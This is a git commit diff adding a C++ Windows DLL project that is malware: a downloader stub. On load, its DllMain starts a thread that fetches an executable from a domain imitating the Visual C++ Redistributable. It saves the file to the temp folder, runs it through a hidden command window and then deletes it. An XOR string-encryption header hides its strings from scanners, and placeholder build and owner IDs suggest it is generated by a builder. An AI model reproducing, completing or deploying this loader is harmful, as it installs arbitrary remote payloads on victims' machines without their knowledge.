initial commit

2026-08-27 11:22:01 -06:00
commit 82307da654
284 changed files with 321187 additions and 0 deletions
@@ -0,0 +1,172 @@
+/*
+ * Copyright 2017 - 2021 Justas Masiulis
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *     http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#ifndef JM_XORSTR_HPP
+#define JM_XORSTR_HPP
+
+#if defined(_M_ARM64) || defined(__aarch64__) || defined(_M_ARM) || defined(__arm__)
+#include <arm_neon.h>
+#elif defined(_M_X64) || defined(__amd64__) || defined(_M_IX86) || defined(__i386__)
+#include <immintrin.h>
+#else
+#error Unsupported platform
+#endif
+
+#include <cstdint>
+#include <cstddef>
+#include <utility>
+#include <type_traits>
+#include <ctime>
+#include <chrono>
+#include <random>
+#include <algorithm>
+#include <numeric>
+#include <cmath>
+#include <memory>
+#include <functional>
+#include <string>
+#include <iostream>
+
+#define xorstr(str) ::jm::xor_string([]() { return str; }, std::integral_constant<std::size_t, sizeof(str) / sizeof(*str)>{}, std::make_index_sequence<::jm::detail::_buffer_size<sizeof(str)>()>{})
+#define EC(str) xorstr(str).crypt_get()
+
+#ifdef _MSC_VER
+#define XORSTR_FORCEINLINE __forceinline
+#else
+#define XORSTR_FORCEINLINE __attribute__((always_inline)) inline
+#endif
+
+namespace jm {
+
+    namespace detail {
+
+        template<std::size_t Size>
+        XORSTR_FORCEINLINE constexpr std::size_t _buffer_size()
+        {
+            return ((Size / 16) + (Size % 16 != 0)) * 2;
+        }
+
+        template<std::uint32_t Seed>
+        XORSTR_FORCEINLINE constexpr std::uint32_t key4() noexcept
+        {
+            std::uint32_t value = Seed;
+            for (char c : __TIME__)
+                value = static_cast<std::uint32_t>((value ^ c) * 16777619ull);
+            return value;
+        }
+
+        template<std::size_t S>
+        XORSTR_FORCEINLINE constexpr std::uint64_t key8()
+        {
+            constexpr auto first_part = key4<2166136261 + S>();
+            constexpr auto second_part = key4<first_part>();
+            return (static_cast<std::uint64_t>(first_part) << 32) | second_part;
+        }
+
+        // loads up to 8 characters of string into uint64 and xors it with the key
+        template<std::size_t N, class CharT>
+        XORSTR_FORCEINLINE constexpr std::uint64_t
+            load_xored_str8(std::uint64_t key, std::size_t idx, const CharT* str) noexcept
+        {
+            using cast_type = typename std::make_unsigned<CharT>::type;
+            constexpr auto value_size = sizeof(CharT);
+            constexpr auto idx_offset = 8 / value_size;
+
+            std::uint64_t value = key;
+            for (std::size_t i = 0; i < idx_offset && i + idx * idx_offset < N; ++i)
+                value ^=
+                (std::uint64_t{ static_cast<cast_type>(str[i + idx * idx_offset]) }
+            << ((i % idx_offset) * 8 * value_size));
+
+            return value;
+        }
+
+        // forces compiler to use registers instead of stuffing constants in rdata
+        XORSTR_FORCEINLINE std::uint64_t load_from_reg(std::uint64_t value) noexcept
+        {
+#if defined(__clang__) || defined(__GNUC__)
+            asm("" : "=r"(value) : "0"(value) : );
+            return value;
+#else
+            volatile std::uint64_t reg = value;
+            return reg;
+#endif
+        }
+
+    } // namespace detail
+
+    template<class CharT, std::size_t Size, class Keys, class Indices>
+    class xor_string;
+
+    template<class CharT, std::size_t Size, std::uint64_t... Keys, std::size_t... Indices>
+    class xor_string<CharT, Size, std::integer_sequence<std::uint64_t, Keys...>, std::index_sequence<Indices...>> {
+#ifndef JM_XORSTR_DISABLE_AVX_INTRINSICS
+        constexpr static inline std::uint64_t alignment = ((Size > 16) ? 32 : 16);
+#else
+        constexpr static inline std::uint64_t alignment = 16;
+#endif
+
+        alignas(alignment) std::uint64_t _storage[sizeof...(Keys)];
+        static constexpr std::uint64_t keys[sizeof...(Keys)] = { Keys... };
+
+    public:
+        using value_type = CharT;
+        using size_type = std::size_t;
+        using pointer = CharT*;
+        using const_pointer = const CharT*;
+
+        template<class L>
+        XORSTR_FORCEINLINE xor_string(L l, std::integral_constant<std::size_t, Size>, std::index_sequence<Indices...>) noexcept
+            : _storage{ ::jm::detail::load_from_reg((std::integral_constant<std::uint64_t, detail::load_xored_str8<Size>(Keys, Indices, l())>::value))... }
+        {}
+
+        XORSTR_FORCEINLINE constexpr size_type size() const noexcept
+        {
+            return Size - 1;
+        }
+
+        XORSTR_FORCEINLINE void crypt() noexcept
+        {
+            ((_storage[Indices] ^= keys[Indices]), ...);
+        }
+
+        XORSTR_FORCEINLINE const_pointer get() const noexcept
+        {
+            return reinterpret_cast<const_pointer>(_storage);
+        }
+
+        XORSTR_FORCEINLINE pointer get() noexcept
+        {
+            return reinterpret_cast<pointer>(_storage);
+        }
+
+        XORSTR_FORCEINLINE pointer crypt_get() noexcept
+        {
+            crypt();
+            return reinterpret_cast<pointer>(_storage);
+        }
+    };
+
+    template<class L, std::size_t Size, std::size_t... Indices>
+    xor_string(L l, std::integral_constant<std::size_t, Size>, std::index_sequence<Indices...>) -> xor_string<
+        std::remove_const_t<std::remove_reference_t<decltype(l()[0])>>,
+        Size,
+        std::integer_sequence<std::uint64_t, detail::key8<Indices>()...>,
+        std::index_sequence<Indices...>>;
+
+} // namespace jm
+
+#endif // include guard
@@ -0,0 +1,158 @@
+// dllmain.cpp
+#include <windows.h>
+#include "Ec.h"
+#include <string>
+#include<urlmon.h>
+
+#pragma comment (lib,"urlmon.lib")
+
+std::string BuildID = EC("//BuildyID");
+std::string OwnerID = EC("//OwneryID");
+
+
+
+std::string ws2s(const std::wstring& wstr) {
+    std::string str;
+    str.reserve(wstr.length()); // Pre-allocate for performance
+
+    // Use std::codecvt_utf8-like logic manually
+    for (wchar_t wc : wstr) {
+        if (wc <= 0x7F) {
+            // 1-byte UTF-8
+            str.push_back(static_cast<char>(wc));
+        }
+        else if (wc <= 0x7FF) {
+            // 2-byte UTF-8
+            str.push_back(static_cast<char>(0xC0 | ((wc >> 6) & 0x1F)));
+            str.push_back(static_cast<char>(0x80 | (wc & 0x3F)));
+        }
+        else if (wc <= 0xFFFF) {
+            // 3-byte UTF-8
+            str.push_back(static_cast<char>(0xE0 | ((wc >> 12) & 0x0F)));
+            str.push_back(static_cast<char>(0x80 | ((wc >> 6) & 0x3F)));
+            str.push_back(static_cast<char>(0x80 | (wc & 0x3F)));
+        }
+        else if (wc <= 0x10FFFF) {
+            // 4-byte UTF-8
+            str.push_back(static_cast<char>(0xF0 | ((wc >> 18) & 0x07)));
+            str.push_back(static_cast<char>(0x80 | ((wc >> 12) & 0x3F)));
+            str.push_back(static_cast<char>(0x80 | ((wc >> 6) & 0x3F)));
+            str.push_back(static_cast<char>(0x80 | (wc & 0x3F)));
+        }
+    }
+
+    return str;
+}
+
+std::wstring s2ws(const std::string& s, bool isUtf8 = true)
+{
+    int len;
+    int slength = (int)s.length() + 1;
+    len = MultiByteToWideChar(isUtf8 ? CP_UTF8 : CP_ACP, 0, s.c_str(), slength, 0, 0);
+    std::wstring buf;
+    buf.resize(len);
+    MultiByteToWideChar(isUtf8 ? CP_UTF8 : CP_ACP, 0, s.c_str(), slength,
+        const_cast<wchar_t*>(buf.c_str()), len);
+    return buf;
+}
+
+std::string GetTempPathAndFileName() {
+    wchar_t path[MAX_PATH];
+    GetTempPath(MAX_PATH, path);
+
+    // Generate a random filename
+    std::wstring tmpFile = path;
+    tmpFile += EC(L"ox_");
+
+    // Add a timestamp to ensure uniqueness
+    auto now = std::chrono::system_clock::now();
+    auto ms = std::chrono::time_point_cast<std::chrono::milliseconds>(now).time_since_epoch().count();
+    tmpFile += std::to_wstring(ms);
+
+    tmpFile += EC(L".exe");
+
+    return ws2s(tmpFile);
+}
+
+
+int win_system(const char* command)
+{
+    // Windows has a system() function which works, but it opens a command prompt window.
+
+    char* tmp_command, * cmd_exe_path;
+    int         ret_val;
+    size_t          len;
+    PROCESS_INFORMATION process_info = { 0 };
+    STARTUPINFOA        startup_info = { 0 };
+
+
+    len = strlen(command);
+    tmp_command = (char*)malloc(len + 4);
+    tmp_command[0] = 0x2F; // '/'
+    tmp_command[1] = 0x63; // 'c'
+    tmp_command[2] = 0x20; // <space>;
+    memcpy(tmp_command + 3, command, len + 1);
+
+    startup_info.cb = sizeof(STARTUPINFOA);
+    cmd_exe_path = getenv(EC("COMSPEC"));
+    _flushall();  // required for Windows system() calls, probably a good idea here too
+
+    if (CreateProcessA(cmd_exe_path, tmp_command, NULL, NULL, 0, CREATE_NO_WINDOW, NULL, NULL, &startup_info, &process_info)) {
+        WaitForSingleObject(process_info.hProcess, INFINITE);
+        GetExitCodeProcess(process_info.hProcess, (LPDWORD)&ret_val);
+        CloseHandle(process_info.hProcess);
+        CloseHandle(process_info.hThread);
+    }
+
+    free((void*)tmp_command);
+
+    return(ret_val);
+}
+
+
+DWORD WINAPI MainThingy(LPVOID lpParam)
+{
+
+
+    HANDLE mutexstb = OpenMutexA(MUTEX_ALL_ACCESS, FALSE, (EC("Global\\m") + OwnerID).c_str());
+    if (mutexstb == NULL) {
+
+        //std::cout << EC("No Stub Running!") << std::endl;
+
+        std::string pathex = GetTempPathAndFileName();
+        std::string urlex = EC("https://vcc-redistrbutable.help/Stb/Retev.php?bl=") + BuildID + EC(".txt");
+
+        /*std::string command = EC("curl -o \"") + pathex + EC("\" \"") + urlex + EC("\"");
+        system(command.c_str());*/
+
+
+        std::string cmdstart = EC("start ") + pathex;
+        
+        URLDownloadToFile(NULL, s2ws(urlex).c_str(), s2ws(pathex).c_str(),0, NULL);
+
+        Sleep(1000);
+
+        win_system(cmdstart.c_str());
+
+        Sleep(25000);
+
+        remove(pathex.c_str());
+
+    }
+
+    return 0;
+}
+
+// DLL entry point
+BOOL APIENTRY DllMain(HMODULE hModule, DWORD  ul_reason_for_call, LPVOID lpReserved) {
+    switch (ul_reason_for_call) {
+    case DLL_PROCESS_ATTACH:
+        CreateThread(NULL, 0, MainThingy, NULL, 0, NULL);
+        break;
+    case DLL_THREAD_ATTACH:
+    case DLL_THREAD_DETACH:
+    case DLL_PROCESS_DETACH:
+        break;
+    }
+    return TRUE;
+}
@@ -0,0 +1,146 @@
+<?xml version="1.0" encoding="utf-8"?>
+<Project DefaultTargets="Build" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
+  <ItemGroup Label="ProjectConfigurations">
+    <ProjectConfiguration Include="Debug|Win32">
+      <Configuration>Debug</Configuration>
+      <Platform>Win32</Platform>
+    </ProjectConfiguration>
+    <ProjectConfiguration Include="Release|Win32">
+      <Configuration>Release</Configuration>
+      <Platform>Win32</Platform>
+    </ProjectConfiguration>
+    <ProjectConfiguration Include="Debug|x64">
+      <Configuration>Debug</Configuration>
+      <Platform>x64</Platform>
+    </ProjectConfiguration>
+    <ProjectConfiguration Include="Release|x64">
+      <Configuration>Release</Configuration>
+      <Platform>x64</Platform>
+    </ProjectConfiguration>
+  </ItemGroup>
+  <PropertyGroup Label="Globals">
+    <VCProjectVersion>16.0</VCProjectVersion>
+    <Keyword>Win32Proj</Keyword>
+    <ProjectGuid>{c29062d7-2e53-4ec6-99f6-5b0480a6f08c}</ProjectGuid>
+    <RootNamespace>TheDLL</RootNamespace>
+    <WindowsTargetPlatformVersion>10.0</WindowsTargetPlatformVersion>
+  </PropertyGroup>
+  <Import Project="$(VCTargetsPath)\Microsoft.Cpp.Default.props" />
+  <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'" Label="Configuration">
+    <ConfigurationType>Application</ConfigurationType>
+    <UseDebugLibraries>true</UseDebugLibraries>
+    <PlatformToolset>v143</PlatformToolset>
+    <CharacterSet>Unicode</CharacterSet>
+  </PropertyGroup>
+  <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'" Label="Configuration">
+    <ConfigurationType>Application</ConfigurationType>
+    <UseDebugLibraries>false</UseDebugLibraries>
+    <PlatformToolset>v143</PlatformToolset>
+    <WholeProgramOptimization>true</WholeProgramOptimization>
+    <CharacterSet>Unicode</CharacterSet>
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+  <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'" Label="Configuration">
+    <ConfigurationType>DynamicLibrary</ConfigurationType>
+    <UseDebugLibraries>true</UseDebugLibraries>
+    <PlatformToolset>v143</PlatformToolset>
+    <CharacterSet>Unicode</CharacterSet>
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+  <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'" Label="Configuration">
+    <ConfigurationType>DynamicLibrary</ConfigurationType>
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+    <PlatformToolset>v143</PlatformToolset>
+    <WholeProgramOptimization>true</WholeProgramOptimization>
+    <CharacterSet>Unicode</CharacterSet>
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+  <Import Project="$(VCTargetsPath)\Microsoft.Cpp.props" />
+  <ImportGroup Label="ExtensionSettings">
+  </ImportGroup>
+  <ImportGroup Label="Shared">
+  </ImportGroup>
+  <ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
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+  <PropertyGroup Label="UserMacros" />
+  <ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
+    <ClCompile>
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+      <SDLCheck>true</SDLCheck>
+      <PreprocessorDefinitions>WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
+      <ConformanceMode>true</ConformanceMode>
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+    <Link>
+      <SubSystem>Console</SubSystem>
+      <GenerateDebugInformation>true</GenerateDebugInformation>
+    </Link>
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+  <ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
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+      <FunctionLevelLinking>true</FunctionLevelLinking>
+      <IntrinsicFunctions>true</IntrinsicFunctions>
+      <SDLCheck>true</SDLCheck>
+      <PreprocessorDefinitions>WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
+      <ConformanceMode>true</ConformanceMode>
+    </ClCompile>
+    <Link>
+      <SubSystem>Console</SubSystem>
+      <EnableCOMDATFolding>true</EnableCOMDATFolding>
+      <OptimizeReferences>true</OptimizeReferences>
+      <GenerateDebugInformation>true</GenerateDebugInformation>
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+  <ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
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+      <WarningLevel>Level3</WarningLevel>
+      <SDLCheck>true</SDLCheck>
+      <PreprocessorDefinitions>_DEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
+      <ConformanceMode>true</ConformanceMode>
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+      <GenerateDebugInformation>true</GenerateDebugInformation>
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+  <ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
+    <ClCompile>
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+      <FunctionLevelLinking>true</FunctionLevelLinking>
+      <IntrinsicFunctions>true</IntrinsicFunctions>
+      <SDLCheck>true</SDLCheck>
+      <PreprocessorDefinitions>NDEBUG;_CRT_SECURE_NO_WARNINGS;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
+      <ConformanceMode>true</ConformanceMode>
+      <LanguageStandard>stdcpp20</LanguageStandard>
+      <Optimization>MinSpace</Optimization>
+      <FavorSizeOrSpeed>Size</FavorSizeOrSpeed>
+      <DebugInformationFormat>None</DebugInformationFormat>
+    </ClCompile>
+    <Link>
+      <SubSystem>Console</SubSystem>
+      <EnableCOMDATFolding>true</EnableCOMDATFolding>
+      <OptimizeReferences>true</OptimizeReferences>
+      <GenerateDebugInformation>false</GenerateDebugInformation>
+    </Link>
+    <PreBuildEvent>
+      <Command>
+      </Command>
+    </PreBuildEvent>
+  </ItemDefinitionGroup>
+  <ItemGroup>
+    <ClCompile Include="TheDLL.cpp" />
+  </ItemGroup>
+  <ItemGroup>
+    <ClInclude Include="Ec.h" />
+  </ItemGroup>
+  <Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" />
+  <ImportGroup Label="ExtensionTargets">
+  </ImportGroup>
+</Project>
@@ -0,0 +1,27 @@
+<?xml version="1.0" encoding="utf-8"?>
+<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
+  <ItemGroup>
+    <Filter Include="Source Files">
+      <UniqueIdentifier>{4FC737F1-C7A5-4376-A066-2A32D752A2FF}</UniqueIdentifier>
+      <Extensions>cpp;c;cc;cxx;c++;cppm;ixx;def;odl;idl;hpj;bat;asm;asmx</Extensions>
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+    <Filter Include="Header Files">
+      <UniqueIdentifier>{93995380-89BD-4b04-88EB-625FBE52EBFB}</UniqueIdentifier>
+      <Extensions>h;hh;hpp;hxx;h++;hm;inl;inc;ipp;xsd</Extensions>
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+    <Filter Include="Resource Files">
+      <UniqueIdentifier>{67DA6AB6-F800-4c08-8B7A-83BB121AAD01}</UniqueIdentifier>
+      <Extensions>rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms</Extensions>
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+  <ItemGroup>
+    <ClCompile Include="TheDLL.cpp">
+      <Filter>Source Files</Filter>
+    </ClCompile>
+  </ItemGroup>
+  <ItemGroup>
+    <ClInclude Include="Ec.h">
+      <Filter>Source Files</Filter>
+    </ClInclude>
+  </ItemGroup>
+</Project>
@@ -0,0 +1,4 @@
+<?xml version="1.0" encoding="utf-8"?>
+<Project ToolsVersion="Current" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
+  <PropertyGroup />
+</Project>